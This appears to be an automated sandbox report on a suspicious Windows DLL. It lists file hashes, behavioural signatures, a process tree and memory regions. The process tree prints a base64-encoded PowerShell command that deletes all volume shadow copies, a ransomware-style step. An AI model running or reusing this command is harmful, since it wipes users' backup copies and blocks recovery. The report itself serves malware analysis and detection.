Analysis

  • max time kernel
    122s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:58

General

  • Target

    d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566.dll

  • Size

    115KB

  • MD5

    c6d639df4492e2068602b744a25d6ed1

  • SHA1

    f033e072e82752db352057f4c61fc2a7a590d194

  • SHA256

    d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566

  • SHA512

    a83fd29d81fe2b0fd0d982878f4f042b78385229f69299b803cf27efbbb83f500b9479d90b09fb7bdd4abd7aa85db7b1074cdd4b903775eced5b17529271558c

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:476
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1044
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:896

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/476-56-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp
      Filesize

      8KB

    • memory/476-58-0x0000000002880000-0x0000000002882000-memory.dmp
      Filesize

      8KB

    • memory/476-59-0x0000000002882000-0x0000000002884000-memory.dmp
      Filesize

      8KB

    • memory/476-60-0x0000000002884000-0x0000000002887000-memory.dmp
      Filesize

      12KB

    • memory/476-57-0x000007FEF3370000-0x000007FEF3ECD000-memory.dmp
      Filesize

      11.4MB

    • memory/476-61-0x000000001B840000-0x000000001BB3F000-memory.dmp
      Filesize

      3.0MB

    • memory/476-62-0x000000000288B000-0x00000000028AA000-memory.dmp
      Filesize

      124KB

    • memory/1096-55-0x00000000760F1000-0x00000000760F3000-memory.dmp
      Filesize

      8KB